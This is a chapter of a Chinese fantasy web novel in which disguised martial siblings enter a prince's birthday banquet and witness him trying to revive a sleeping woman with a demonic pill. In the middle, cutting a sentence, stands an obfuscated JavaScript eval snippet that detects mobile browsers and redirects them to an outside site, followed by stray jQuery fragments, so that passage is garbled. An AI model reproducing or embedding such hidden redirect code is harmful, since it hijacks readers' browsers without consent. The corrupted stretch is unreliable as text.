风朗气清,碧空如洗。
南城王府朱漆大门前车马滚滚,前来贺寿之人络绎不绝,将半条街道挤得水泄不通。
一辆装饰华贵的马车缓缓停下,随行的仆从迅速上前,恭敬地掀开门帘。
顾连舟从中款步走下。
但见他今日身着一袭云水蓝锦袍,玉冠束发,腰上缀着的羊脂白玉佩温润生光,行走间“叮咚”作响,通身掩不住的清贵气度。
他偏了偏头,朝身后那位身形清瘦、面容普通的青衫小厮递了个眼色,小厮立即会意,低眉顺目地捧着一个巨大的紫檀木鎏金礼盒走上近前。
“公子。”宋岐灵压低了嗓音,跟在师弟身后,亦步亦趋。
顾连舟颇不适应她新换的容貌与恭谨的态度,负在身后的手不自觉地握紧,又见人走在后头,与自己始终保持着距离,忍不住眉头轻蹙,自唇齿间溢出一声轻语:“师兄,离近些。”
宋岐灵对此充耳不闻,捧着礼盒闷头往前走,见四周人声鼎沸,她这才悄声回道:“我眼下是你的小厮,不可坏了规矩。”
她昨日与师弟费了许多精力与银钱,又是赁马车又是雇人充当仆从,还从珍宝阁花重金买下几件宝贝充门面,为的就是今日的派头!
她扭头看向马车上代表顾家的云水纹徽章,心道今日总算可以从正门进入南城王府,不必翻那高耸的墙头了。
王府门房管事眼尖,老远便瞧见了顾家徽记,脸上立刻堆满笑容,快步迎上:“贵客登门,有失远迎。”
顾连舟含笑颔首,递上寿帖——这帖子亦是昨儿个二人花重金伪造的。
而他从前嗤之以鼻的事,在师兄捧着寿贴惊叹之后,他竟也品出了一丝趣味。
师兄说的对,世上无难事,只要肯砸钱。
而他最不缺的便是银钱。
那管事接过寿贴略扫了一眼,便殷勤地领着人往里进。
谁知宋岐灵刚迈过门槛,两侧突然冒出几名带刀护卫,照例上前欲行搜查。
“……”
她道今日怎会如此顺利,原是在这儿等着她呢。
她的身上倒是没处藏匿锋利的刀剑,自不必忧心暴露身份,只是瞧那护卫搜身的手法……啧,搜得也太细了些。
心中惆怅之际,眼前倏尔晃过一道水蓝色,却是顾连舟去而复返,往她与那护卫中间一站。
“管事的。”顾连舟声音温朗,带着世家子特有的漫不经心,“我这几个贴身侍从手脚都干净得很,今日老夫人大喜的日子,动辄搜身未免惊扰,也显得生分,不若便免了罢?”
那王府管事闻言,脸上笑容更盛。
天水顾氏富可敌国,与王府多有生意往来,顾家大公子亲自来贺,已是给了天大的面子,这点小要求岂有不允之理?
是以,他立刻佯装呵斥护卫:“不长眼的东西!顾家人也是你们能随意盘查的?还不快请顾公子和诸位进去!”
闻言,护卫们连忙躬身退开。
宋岐灵心中微松,捧着礼盒将头低下,随着顾连舟一行人顺利入了王府。
甫一进门,喧嚣热闹之气扑面而来。
只见府内张灯结彩,笙箫鼓乐之声不绝于耳,庭院中,回廊下,摆了数百桌席面,珍馐美馔流水般呈上,空气中弥漫着酒肉香气与花果甜香。
戏台子上正演着“八仙贺寿”,台下京中权贵、富商巨贾汇聚一堂,觥筹交错,笑语喧哗,好不热闹!
顾连舟被引至靠近主家的上席落座,宋岐灵则垂手侍立其后,目光低垂,眼观鼻仔鼻观心。
待到吉时,献礼环节开始。
司仪官嗓音洪亮,拖着长调,唱着贺礼与献礼之人名号,旁边自有书记官奋笔疾书,录入礼单。
“城东云织坊,献苏绣百寿屏风一架!”
“漕帮李家,献赤金寿桃一对!”
……
“天水顾氏,献翡翠南极仙翁摆件一尊,紫檀木座,镶明珠八颗,贺老夫人福寿绵长!”
唱到顾家贺礼时,满场顿时响起一阵低低的惊叹之声。
那尊尺余高的翡翠仙翁雕工精湛,通体碧绿欲滴,尤其那八颗龙眼大的明珠,光华璀璨,令人不敢逼视。
宋岐灵趁着满场目光都被那尊价值连城的翡翠仙翁吸引,众人喧闹之际,身形悄然后退,如同水滴融入大海,无声无息地脱离了席面。
她早已摸清王府大致布局,避开巡逻守卫,绕过喧闹的前庭,迅捷地向王府后宅,南城王赵煜的寝房方向潜去。
顾连舟在一片羡艳的目光中,察觉到一丝异样,侧目往斜后方看去,却见本该站在那儿的师兄不见了踪影,一颗心倏地提了起来。
“瞧什么呢顾大少爷?”耳边陡然响起一道怨气十足的声音,“这么财大气粗,送的翡翠老头儿?”
什么翡翠老头……
听这胡说八道的动静,无须回头便知是俞七这个不正经的,顾连舟无奈地摇了摇头,忽觉肩上多出一只手。
俞七懒得与那些世家子弟交游,索性撩起衣摆,在顾连舟身旁的空位一屁股坐下,“赵珩与他未来的大舅哥喝酒去了,柳岱不愿掺和这劳什子宴席,眼下我的朋友便只剩你一人了,顾大少爷应是不嫌弃与我同吃一席罢?”
顾连舟哪敢嫌弃呢,只取来筷子递与俞七,听他喋喋不休地聊起近日的见闻。
府中生活无趣,他整日不是与慕容铮打得披头散发,便是给慕容铮使绊子,常常气得父亲与姨娘跳脚,关禁闭也变得如吃饭喝水般日常。
而赵珩这厮有了媳妇便忘了兄弟,整日往那李宅跑,好不出息!
说到赵珩,俞七端起桌上的杯子凑近嘴边啜饮一口,旋即“呸呸”两声,眉头皱起,“怎么是酒啊?”
他便将杯子放下,另取一只空杯向近旁的侍从讨要茶水,嘴里却没闲着,“想不到赵珩还是个痴情种,与他那独身的爹简直两模两样。”
顾连舟抬眼看向台上的南城王与老太君,忍不住轻咳一声,“俞兄,慎言。”
“怕什么?”俞七看向四周,扯了扯嘴角,却是压低了嗓音道,“今天是个好日子,王府热闹得快跟菜场似的,赵珩他老子哪儿会留意我的胡言乱语?他忙都忙不过来了……咦?他站起来了……他离席作甚去……”
闻言,顾连舟眼皮猛地一跳,抬眼看向赵煜离去的方向,心中隐隐觉察到一丝不妙的感觉。
忧心渐盛,他忍不住分出一缕菟丝子,贴着地面朝赵煜游去。
经过这些日的练习,他已能熟练地隐去菟丝子的踪迹与气息,只是想不到这么快便派上了用场。
那道菟丝子动作迅捷,很快便攀上赵煜的脚后跟,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270440|182273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一路盘旋而上,最终匍匐于他胸前的刺绣纹样间。
如此高度,只需顾连舟凝神,便可与菟丝子共享视角。
只见赵煜在摆放贺礼的房前停下,朝里头的带刀护卫摆了摆手,那几人便心领神会地撤到门前,任由家主行动。
俞七依旧在耳边胡侃闲聊,并未留意顾连舟脸色凝重,待上了热腾腾的席面,他便拾起筷子蒙头朵颐起来。
顾连舟蹙眉,看着赵煜拿走一做工精巧的锦盒藏于袖中,沿着一条幽静的小道,往王府后宅去了。
他是王爷,自然无人敢拦,一路走得十分畅通,不过一盏茶的功夫,便在一道朱门前停下。
只见他取下腰间的钥匙,插-进门上的铜锁,将门打开,抬脚迈了进去。
其间却并未见到师兄的身影。
难道师兄并未来此么?
顾连舟不安地握住面前的酒盏,神思随着晃动的视线往里进。
屋里浓稠得化不开的黑暗。
没有一盏灯被点亮,日光亦被厚重的窗棂死死挡在外面,竟未有一丝侥幸透入。
目之所及,唯有模糊的轮廓和深沉的阴影,家具陈设都化作黑暗中沉默的怪兽,寂静中只听得赵煜如擂鼓般的心跳和压抑的呼吸声。
他绕过屋心的屏风,走向那张垂着重重帷幔的拔步床。
撩开帷幔,依稀可见榻上躺着一个人影。
顾连舟眯了眯双眼,透过赵煜的双眼看向床上那人。
乌黑如云锦的青丝铺陈在玉枕上,衬得那张脸苍白得近乎透明,长而密的睫毛如蝶翼般静静垂下,在眼下投出一小片柔和的阴影,鼻梁纤细挺直,唇色极淡,安静地闭合着。
看清了此人的面容,顾连舟心跳空了一瞬,险些以为自己出现了幻觉。
此人的面貌……怎与师兄的如此相像?
他的记性不差,师兄的五官几乎印在脑中,而面前之人的模样,俨然是面容更柔和的师兄……只可惜眼前之人双目紧闭,叫他看不出旁的区别。
赵煜在榻边坐下,目光贪婪地流连在那张毫无生气的脸上,他指尖微颤着抬手,动作极其轻柔地贴上女人冰凉的侧脸。
“鸾儿。”他低声唤道,声音喑哑,好似哄着孩童般道,“为兄替你寻来了丹药。”
他俯下身,声音轻得如同耳语,“今日过后,我的鸾儿便可清醒过来,再也无需受这沉眠之苦,兄长会守着你,护着你,从此以后,我们兄妹二人,便可真正地、无忧无虑地生活一辈子。”
说罢,他小心翼翼地从袖中取出那只锦盒,打开盒盖,内里丝绒衬垫上,静静躺着一枚龙眼大小的丹丸。
那丹丸非同寻常,竟自发地氤氲着一层怪异的紫色光纹。
顾连舟猛然攥紧了手中的酒盏。
这上面的是……妖纹?
又见赵煜深吸一口气,动作轻柔地将沉睡的女人扶起,让她倚靠在自己怀中。
他拈起那枚丹丸,指尖的颤抖愈发剧烈,缓缓地、小心翼翼地朝着那苍白柔弱的唇边送去。
眼看着那浓郁得几乎凝成实质的妖气自丹丸上溢出,往女人的嘴里钻去,一道劲风陡然袭来,却是一枚闪着亮光的铜钱破空而来,笔直地击落赵煜手中的丹丸。
与此同时,顾连舟耳边响起师兄的怒喝声:“赵煜,放开她!”